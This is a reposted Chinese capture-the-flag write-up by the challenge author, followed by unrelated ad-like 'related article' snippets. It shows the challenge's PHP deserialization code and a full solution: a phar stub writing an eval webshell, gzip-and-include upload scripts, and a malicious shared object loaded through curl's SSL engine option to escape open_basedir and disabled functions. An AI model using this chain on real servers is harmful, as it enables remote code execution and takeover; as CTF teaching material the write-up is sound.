法尔plus wp

news/2025/12/9 10:25:51/文章来源:https://www.cnblogs.com/t0mcater/p/19325098

考点是phar rce + 最新版绕过open_basedir的方法

<?php
highlight_file(__FILE__);function waf($data){if (is_array($data)){die("nonono arrays");}if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {die("You can't do");}
}class ddd{public $pivot;public function __set($k, $value) {$k = $this->pivot->ctor;echo new $k($value);}
}class ccc{public $handle;public $ctor;public function __destruct() {return $this->handle();}public function __call($name, $arg){$arg[1] = $this->handle->$name;}
}class bbb{public $target;public $payload;public function __get($prop){$this->target->$prop = $this->payload;}
}class aaa {public $mode;public function __destruct(){$data = $_POST[0];if ($this->mode == 'w') {waf($data);echo $data;$filename = "/var/www/html/".md5(rand()).".phar";file_put_contents($filename, $data);echo $filename;} else if ($this->mode == 'r') {waf($data);$f = include($data);if($f){echo "yesyesyes";}else{echo "You can look at the others";}}}
}if(strlen($_POST[1]) < 52) {$a = unserialize($_POST[1]);
}
else{echo "too long!!";
}?>

include邂逅phar
看这篇文章讲了底层逻辑
当include邂逅phar——DeadsecCTF2025 baby-web – fushulingのblog
最后的结论就是,比如我们生成了一个phar文件,然后把他打包成gz文件,当我们include这个gz文件时,php会默认把这个gz文件解压回phar进行解析
那么我们只要包含关键字就能直接rce
可是这里我把open_basedir还有一些system的指令全都ban掉了基本上是不可能命令执行成功的考点就算最新版本的绕过方法 之前有些我们这里写个马进去

<?php class TEST{ } $a=new TEST(); @unlink("shell.phar"); $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->setMetadata($a); $stub="<?php \$content = '<?php @eval(\$_POST[\"cmd\"]); ?>'; file_put_contents('/var/www/html/4.php', \$content);__HALT_COMPILER(); ?>"; $phar -> setStub($stub); $phar->addFromString("1.txt", "6666"); $phar->stopBuffering(); ?>

然后gz压缩

gzip -c shell.phar > shell.phar.gz

接下来就算传文件上去这里用python

import requests
url='http://172.18.131.0:8888/1.php'
with open('shell.phar2.gz','rb') as file:f=file.read()
data={"0":f,"1":"O:3:\"aaa\":1:{s:4:\"mode\";s:1:\"w\";}"}
response=requests.post(url=url,data=data)
print(response.text)

再去做包含

import requests
url='http://172.18.131.0:8888/1.php'
bbb='/var/www/html/a388df223ff2ac5e539a896f5dc0be79.phar'
data={"0":bbb,"1":"O:3:\"aaa\":1:{s:4:\"mode\";s:1:\"r\";}"}
response=requests.post(url=url,data=data)
print(response.text)

成功写入木马
怕他家觉得自己的马传上去没用,我还贴心的给了phpinfo
发现禁用sqlite3那么就用curl
所以我们需要编写一个恶意的 so 文件:

#include <stdlib.h>__attribute__((constructor))
static void rce_init(void){system("env >/tmp/pro");
}

编译成 so :

g++ -fPIC -shared -o evil.so 1.cpp

然后通过加载 so 来rce:

$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE,"/tmp/evil.so");
$data = curl_exec($ch);

图片
最后一点感想,很荣幸刚加入V&N就能参与这一次出题,收获了很多,题目不是很难,师傅们应该也打得很尽心,希望能和V&N一起进步

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/994371.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025郑州拿证快/可换教练驾校排名:附近靠谱驾校推荐与全解

在郑州,想又怕遇到凶教练?不少学员都被这两个问题卡住:哪个驾校拿证快?附近驾校里有没有能换教练的?更怕交了钱后,教练态度差、练车排队久,拿证遥遥无期。今天就结合郑州驾培市场特点,为你盘点2025年郑州5家靠…

2025年度净化板服务商TOP5权威推荐,甄选企业助力洁净工

洁净工程领域中,企业对净化板的按时交付、技术先进性与质量稳定性需求日益迫切。2024年数据显示,净化板市场规模超200亿元,年增速30%,但35%的项目投诉集中在交货延期、板材性能不达标、技术适配性差三大问题。企业…

2025折弯机无压痕模选购参考榜

在当前折弯机模具市场中,低价竞争愈演愈烈,部分厂商为压缩成本采用劣质材料或简化工艺,导致“无压痕模”徒有其名,实际使用中频繁出现划伤、变形甚至提前报废等问题。这种价格与价值严重失衡的现象,不仅增加了客户…

.NET 8以上版本,字节数组转字符串

之前字节数组转字符串,有时候会用BitConverter里面的ToString方法,那个方法的缺点是默认在每个字节的字符串中加一个横杠,不能配置,只能手动移除。 .NET 8开始支持新的方法,能直接字节转字符串,并且从.NET 9开始…

2025 家装衣柜选购指南:6 大品牌推荐,环保收纳与美学兼具

2025 年家装行业正朝着环保化、智能化、一体化方向升级,衣柜作为卧室核心家具,不仅承载着收纳功能,更成为家居美学与生活品质的重要载体。挑选衣柜时,环保标准、收纳设计、定制灵活性、品牌实力四大维度是关键考量…

2025年市面上优秀的微动开关公司口碑推荐榜,新能源微动开关/大电流微动开关/防水微动开关/微动开关/汽车微动开关定做厂家哪家权威

在工业自动化、智能家居、新能源汽车等产业蓬勃发展的背景下,作为关键控制元件的微动开关,其市场需求持续增长,对供应商的技术实力、品控能力及规模化供应提出了更高要求。面对市场上众多的微动开关制造商,采购方与…

2025年瑞士马格MAAG齿轮泵NP28/28代理商权威推荐榜单:MAAG齿轮泵NP45/45‌/MAAG齿轮泵‌/瑞士马格MAAG齿轮泵‌‌源头代理商精选

在高端流体输送领域,特别是在化工、化纤、制药和聚合物等对输送精度、压力与介质耐受性有严苛要求的行业,瑞士马格(MAAG)齿轮泵凭借其百年技术积淀和卓越的工艺表现,被公认为是可靠的解决方案。作为其核心产品之一…

涿鹿县自建房找谁好?河北张家口涿鹿县自建房公司 / 机构深度评测口碑推荐榜​

涿鹿县自建房找谁好?河北张家口涿鹿县自建房公司 / 机构深度评测口碑推荐榜​ 、一、引言:涿鹿乡村自建房的 “专业化升级”​ 涿鹿县隶属河北省张家口市,坐落于永定河上游涿鹿 — 怀来盆地西部,北邻下花园区、西接…

2026年北京市门头沟区农村自建房推荐榜,图南建房宝领衔 六家家实力公司赋能乡村宜居生活。

2026年北京市门头沟区农村自建房推荐榜,图南建房宝领衔 六家家实力公司赋能乡村宜居生活。 一、引言:门头沟建房,选对伙伴比省钱更重要 “门头沟农村自建房该找哪家?”—— 这是永定镇、龙泉镇、潭柘寺镇、妙峰山镇…

2026年北京市门头沟区农村自建房推荐榜,图南建房宝领衔 六家家实力公司赋能乡村宜居生活。

2026年北京市门头沟区农村自建房推荐榜,图南建房宝领衔 六家家实力公司赋能乡村宜居生活。 一、引言:门头沟建房,选对伙伴比省钱更重要 “门头沟农村自建房该找哪家?”—— 这是永定镇、龙泉镇、潭柘寺镇、妙峰山镇…

数据安全交换平台有哪些?一文读懂主流类型优劣势

在数据成为核心生产要素的今天,企业内部网络隔离(如研发网与办公网、生产网与外网)已成常态,但跨网数据交换需求却日益频繁。数据安全交换平台正是解决这一矛盾的关键工具,它是指能在不同网络安全域、隔离环境或跨…

2025 年 12 月高空特种作业服务商权威推荐榜:幕墙吊装/拆卸,塔吊高空拆卸/解体/事故救援,安全高效解决方案深度解析

2025 年 12 月高空特种作业服务商权威推荐榜:幕墙吊装/拆卸,塔吊高空拆卸/解体/事故救援,安全高效解决方案深度解析 随着城市化进程向纵深发展,超高层建筑、异形结构综合体以及大型公共设施的建设与维护日益频繁,…

2025 年 12 月高空特种作业服务商权威推荐榜:幕墙吊装/拆卸,塔吊高空拆卸/解体/事故救援,安全高效解决方案深度解析

2025 年 12 月高空特种作业服务商权威推荐榜:幕墙吊装/拆卸,塔吊高空拆卸/解体/事故救援,安全高效解决方案深度解析 随着城市化进程向纵深发展,超高层建筑、异形结构综合体以及大型公共设施的建设与维护日益频繁,…

在河北省邢台市襄都区老家农村盖房子,靠谱的自建房公司口碑推荐。河北省邢台市襄都区自建房公司/机构权威测评推荐排行榜

在河北省邢台市襄都区老家农村盖房子,靠谱的自建房公司口碑推荐。河北省邢台市襄都区自建房公司/机构权威测评推荐排行榜 一、引言 十年前,邢台市襄都区农村盖房还停留在“找本村工匠、画简易草图”的粗放模式。从七…

2025年12月螺丝厂家推荐:紧固件行业头部企业对比评价报告

当前制造业企业采购螺丝等紧固件时,常面临产品规格繁杂、质量标准不一、交付周期不稳定等痛点。企业采购人员需要在众多供应商中筛选出既能满足质量要求,又能提供稳定供货和合理价格的合作伙伴。随着工业4.0推进和智…

2025年机械/空调/航空用温度传感器五大推荐公司,工业测温

在智能制造、航空航天与暖通工程的精密生产链中,温度传感器是把控工艺精度、保障设备安全的神经末梢——机械加工的热处理温控、空调系统的能效调节、航空发动机的热端监测,均依赖其稳定可靠的数传能力。面对不同应用…

2025年12月助听器标杆品牌最新推荐:爱可声助听器,国产助听器、专业助听器、助听器品牌、老年人助听器、助听器验配、隐形助听器、为清晰聆听设立个性化新标准

随着人口老龄化进程加速、听力健康意识提升及助听技术智能化发展,助听器已从传统的听力辅助设备,逐步进化为集成先进音频处理与智能交互的穿戴健康产品。2025年,中国助听器市场规模预计将持续增长,然而市场品牌众多…

2025年12月广东紧固件厂家推荐:核心厂商对比评测与选型建议

作为制造业的基础配套产业,紧固件在工业生产中扮演着不可或缺的角色。广东地区作为我国重要的制造业基地,聚集了众多紧固件生产厂家,形成了完整的产业链布局。当前,随着智能制造和工业升级的推进,用户对紧固件的需…

2025年宁波口碑不错的食堂承包公司推荐,诚信的工厂食堂承包

在企业后勤管理中,食堂承包的质量直接关系到员工的就餐体验与企业的运营效率。面对市场上良莠不齐的食堂承包服务商,如何找到口碑不错的食堂承包公司、诚信的工厂食堂承包公司和实力强的高校食堂承包公司?以下结合宁…

2025年宁波口碑不错的食堂承包公司推荐,诚信的工厂食堂承包

在企业后勤管理中,食堂承包的质量直接关系到员工的就餐体验与企业的运营效率。面对市场上良莠不齐的食堂承包服务商,如何找到口碑不错的食堂承包公司、诚信的工厂食堂承包公司和实力强的高校食堂承包公司?以下结合宁…